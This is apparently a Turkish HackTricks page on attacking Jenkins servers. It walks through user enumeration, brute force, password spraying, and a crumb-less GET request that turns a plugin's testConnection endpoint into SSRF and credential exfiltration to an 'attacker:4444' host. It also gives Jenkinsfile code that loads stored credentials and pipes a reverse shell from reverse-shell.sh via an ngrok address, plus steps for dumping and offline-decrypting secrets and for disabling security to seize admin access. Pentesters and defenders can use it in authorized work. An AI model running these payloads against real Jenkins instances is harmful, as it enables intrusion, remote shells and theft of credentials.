Jenkins Güvenlik

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Jenkins, pipeline’lar kullanarak neredeyse herhangi bir programlama dili ve kaynak kodu deposu kombinasyonu için continuous integration veya continuous delivery (CI/CD) ortamı kurmak için basit bir yöntem sunan bir araçtır. Ayrıca çeşitli rutin geliştirme görevlerini otomatikleştirir. Jenkins, bireysel adımlar için script oluşturma ihtiyacını ortadan kaldırmasa da, tüm build, test ve deployment araçları dizisini manuel olarak kolayca oluşturulabilecek olandan daha hızlı ve daha sağlam bir şekilde entegre etme olanağı sağlar.

Basic Jenkins Information

Kimliksiz Keşif

Kimlik doğrulaması olmadan ilginç Jenkins sayfalarını aramak için, örneğin (/people veya /asynchPeople, bu mevcut kullanıcıları listeler) şunu kullanabilirsiniz:

msf> use auxiliary/scanner/http/jenkins_enum

Kimlik doğrulama gerektirmeden komut çalıştırıp çalıştıramadığınızı kontrol edin:

msf> use auxiliary/scanner/http/jenkins_command

Kimlik bilgileri olmadan /asynchPeople/ yolu veya /securityRealm/user/admin/search/index?q= içinde usernames’i görebilirsiniz.

Jenkins sürümünü /oops veya /error yolundan öğrenebilirsiniz.

Bilinen Zayıflıklar

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

Giriş

Temel bilgilerde Jenkins’e giriş yapmanın tüm yollarını kontrol edebilirsiniz:

Basic Jenkins Information

Kayıt

Jenkins örnekleri bulabilirsiniz; bunlar hesap oluşturmanıza ve içine giriş yapmanıza izin verir. Bu kadar basit.

SSO Login

Ayrıca eğer SSO functionality/plugins mevcutsa, test bir hesap (örn. test Github/Bitbucket account) kullanarak uygulamaya log-in olmaya çalışmalısınız. Trick from here.

Bruteforce

Jenkins lacks password policy and username brute-force mitigation. It’s essential to brute-force users since weak passwords or usernames as passwords may be in use, even reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Kullanmak için this python script veya this powershell script.

IP Whitelisting Bypass

Birçok kuruluş, GitHub veya GitLab gibi SaaS tabanlı source control management (SCM) sistemlerini Jenkins veya TeamCity gibi internal, self-hosted CI çözümleriyle birleştirir. Bu yapı, CI sistemlerinin pipeline işleri tetiklemek için öncelikle SaaS kaynak kontrol sağlayıcılarından webhook event’leri almasına izin verir.

Bunu sağlamak için kuruluşlar SCM platformlarının IP aralıklarını whitelist’ler ve bu sayede webhooklar aracılığıyla internal CI sistemine erişim verirler. Ancak, GitHub veya GitLab’da herkes bir account oluşturup webhook tetikleyecek şekilde yapılandırma yapabileceği için, potansiyel olarak internal CI sistemine istek gönderebilir.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

Bu senaryolarda Jenkins’e erişmek için geçerli bir account’a sahip olduğunuzu varsayacağız.

Warning

Jenkins’te yapılandırılmış olan Yetkilendirme mekanizmasına ve ele geçirilen kullanıcının izinlerine bağlı olarak aşağıdaki saldırıları gerçekleştirebilir veya gerçekleştiremeyebilirsiniz.

For more information check the basic information:

Basic Jenkins Information

Kullanıcıları listeleme

Jenkins’e erişiminiz varsa diğer kayıtlı kullanıcıları şu adreste listeleyebilirsiniz: http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Kullanmak için this script build konsol çıktılarını ve build ortam değişkenlerini dökerek açık metin sırları bulmayı umabilirsiniz.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Bazı eklentiler Jelly validateButton veya test connection handlerlarını /descriptorByName//testConnection` gibi yollar altında açığa çıkarır. Handler’lar POST veya izin kontrollerini zorlamadığında, şunları yapabilirsiniz:

  • CSRF kontrollerini atlamak için POST’u GET’e çevirin ve Crumb’ı düşürün.
  • Jenkins.ADMINISTER kontrolü yoksa handler’ı low-priv/anonymous olarak tetikleyin.
  • Bir admine CSRF uygulayıp host/URL parametresini değiştirerek credentials’ı exfiltrate edebilir veya outbound çağrılar tetikleyebilirsiniz.
  • Yanıt hatalarını (ör. ConnectException) SSRF/port-scan oracle olarak kullanın.

Örnek GET (Crumb yok) — bir doğrulama çağrısını SSRF/credential exfiltration’a dönüştürme:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

SSH Credentials Çalma

Eğer ele geçirilmiş kullanıcı create/modify a new Jenkins node için yeterli ayrıcalıklara sahipse ve SSH credentials zaten diğer node’lara erişim için kayıtlıysa, node oluşturarak/değiştirerek ve host key’i doğrulamadan credentials’ları kaydedecek bir host ayarlayarak bu credentials’ları çalabilir:

Genellikle Jenkins ssh credentials’larını bir global provider (/credentials/) altında bulursunuz, bu yüzden onları diğer secret’lar gibi dump edebilirsiniz. Daha fazla bilgi için Dumping secrets section.

Jenkins’te RCE

Jenkins server’da bir shell elde etmek, saldırganın tüm secrets ve env variables’ları leak etmesine; aynı ağdaki diğer makineleri exploit etmesine veya hatta cloud credentials toplamasına imkan verir.

Varsayılan olarak, Jenkins run as SYSTEM. Bu yüzden, ele geçirilmesi saldırgana SYSTEM privileges verecektir.

RCE: Project Oluşturma/Değiştirme

Bir project oluşturmak/değiştirmek, Jenkins server üzerinde RCE elde etmenin bir yoludur:

Jenkins RCE Creating/Modifying Project

RCE Groovy script Çalıştırma

Ayrıca Groovy script çalıştırarak da RCE elde edebilirsiniz; bu, yeni bir project oluşturmaktan daha gizli (stealthier) olabilir:

Jenkins RCE with Groovy Script

RCE: Pipeline Oluşturma/Değiştirme

Ayrıca bir pipeline oluşturup/değiştirerek RCE elde edebilirsiniz:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Pipeline’leri exploit etmek için yine Jenkins’e erişiminiz olması gerekir.

Build Pipelines

Pipelines ayrıca projects içinde build mekanizması olarak kullanılabilir; bu durumda pipeline syntax’ını içerecek bir file inside the repository yapılandırılabilir. Varsayılan olarak /Jenkinsfile kullanılır:

Pipeline configuration dosyalarını (örneğin diğer repository’lerde) başka yerlerde store etmek de mümkündür; amaç repository access ile pipeline access’i ayırmaktır.

Eğer bir attacker’ın o file üzerinde write access’ı varsa, onu modify edebilir ve hatta Jenkins’e erişimi olmadan pipeline’ı potentially trigger edebilir. Saldırganın bazı branch protections’ı bypass etmesi gerekebilir (platforma ve kullanıcı ayrıcalıklarına bağlı olarak bunlar bypass edilebilir veya edilemeyebilir).

En yaygın custom pipeline tetikleyicileri:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

Eğer bir external user iseniz, başka bir user/organization’ın repo’sunun main branch’ine bir PR oluşturup pipeline’ı trigger etmenizi beklememelisiniz… ama eğer bad configured ise, bunu exploit ederek şirketleri tamamen compromise edebilirsiniz.

Pipeline RCE

Önceki RCE bölümünde get RCE modifying a pipeline tekniği zaten belirtilmişti.

Env variables’ları Kontrol Etme

Tüm pipeline için veya belirli stage’ler için clear text env variables tanımlamak mümkündür. Bu env variables sensitive info içermemeli, ancak bir attacker her zaman pipeline konfigürasyonlarını/Jenkinsfile’ları check edebilir:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Jenkins’in secret’lerin genellikle nasıl ele alındığıyla ilgili bilgi için temel bilgileri inceleyin:

Basic Jenkins Information

Kimlik bilgileri global sağlayıcılara (/credentials/) veya belirli projelere (/job/<project-name>/configure) kapsamlandırılabilir. Bu yüzden bunların tamamını exfiltrate etmek için secret içeren en azından tüm projeleri ele geçirmeniz ve özel/zehirlenmiş pipeline’lar çalıştırmanız gerekir.

Başka bir sorun daha var: bir pipeline’ın env’ine bir secret almak için secret’ın adı ve tipi bilinmelidir. Örneğin, bir usernamePassword tipindeki bir secret’ı string tipinde bir secret olarak yüklemeye (load) çalışırsanız şu hatayı alırsınız:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

İşte bazı yaygın secret türlerini yüklemenin yolu:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Sayfanın sonunda tüm kimlik bilgisi türlerini bulabilirsiniz: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

En iyi yol, dump all the secrets at once işlemini gerçekleştirmek için compromising yoluyla Jenkins makinesini (örneğin built-in node üzerinde bir reverse shell çalıştırmak) ele geçirmek ve sonra leaking ile master keys ve encrypted secrets’i elde edip bunları çevrimdışı decrypt etmektir.
Daha fazlası için Nodes & Agents section ve Post Exploitation section bölümlerine bakın.

Tetikleyiciler

From the docs: triggers direktifi, Pipeline’ın yeniden tetiklenmesi gereken otomatik yolları tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre edilmiş Pipeline’lar için, triggers muhtemelen gerekli değildir çünkü webhooks tabanlı entegrasyon muhtemelen zaten mevcuttur. Mevcut tetikleyiciler cron, pollSCM ve upstream’dir.

Cron örneği:

triggers { cron('H */4 * * 1-5') }

Belgelerdeki diğer örneklere bakın.

Düğümler & Ajanlar

Bir Jenkins instance farklı makinelerde farklı agents çalıştırıyor olabilir. Bir saldırgan açısından, farklı makinelere erişim çalınabilecek farklı cloud credentials veya diğer makineleri exploit etmek için kötüye kullanılabilecek farklı network access anlamına gelir.

Daha fazla bilgi için temel bilgilere bakın:

Basic Jenkins Information

Yapılandırılmış düğümleri /computer/ içinde listeleyebilirsiniz, genellikle **Built-In Node ** (Jenkins’i çalıştıran node) ve muhtemelen daha fazlasını bulursunuz:

Duyarlı Jenkins bilgileri içerdiği için Built-In node’u ele geçirmek özellikle ilginçtir.

Pipeline’i built-in Jenkins node üzerinde run etmek istediğinizi belirtmek için pipeline içinde aşağıdaki konfigürasyonu kullanabilirsiniz:

pipeline {
agent {label 'built-in'}

Tam örnek

Belirli bir agent üzerinde çalışan Pipeline, cron trigger ile, pipeline ve stage env variables ile, bir step’te 2 variables yükleyip reverse shell gönderen:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Yeterli izne sahipseniz /credentials/’e erişerek secrets’leri listeleyebilirsiniz. Bunun sadece credentials.xml dosyasının içindeki secrets’leri listeleyeceğini unutmayın; ancak build configuration files içinde de more credentials bulunabilir.

Eğer her projenin yapılandırmasını görebiliyorsanız, orada repository’ye erişimde kullanılan credentials (secrets) isimlerini ve projenin diğer credentialsini de görebilirsiniz.

Groovy’den

Jenkins Dumping Secrets from Groovy

Diskten

Bu dosyalar Jenkins secrets’in şifresini çözmek için gereklidir:

  • secrets/master.key
  • secrets/hudson.util.Secret

Böyle secrets genellikle şu dosyalarda bulunur:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

İşte bunları bulmak için bir regex:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Decrypt Jenkins secrets offline

Eğer needed passwords to decrypt the secrets’i dump ettiyseniz, this script to decrypt those secrets’ı kullanın.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Groovy ile Jenkins secrets’i deşifre etme

println(hudson.util.Secret.decrypt("{...}"))

Yeni admin kullanıcı oluştur

  1. Jenkins config.xml dosyasına şu konumlarda erişin: /var/lib/jenkins/config.xml veya C:\Program Files (x86)\Jenkis\
  2. <useSecurity>true</useSecurity> ifadesini bulun ve **true ** değerini false ile değiştirin.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Restart the Jenkins server: service jenkins restart
  5. Şimdi Jenkins portalına tekrar gidin; bu sefer Jenkins will not ask any credentials. “Manage Jenkins“e giderek admin parolasını tekrar ayarlayın.
  6. Güvenliği tekrar etkinleştirin (<useSecurity>true</useSecurity>) ve Jenkins’i yeniden başlatın.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin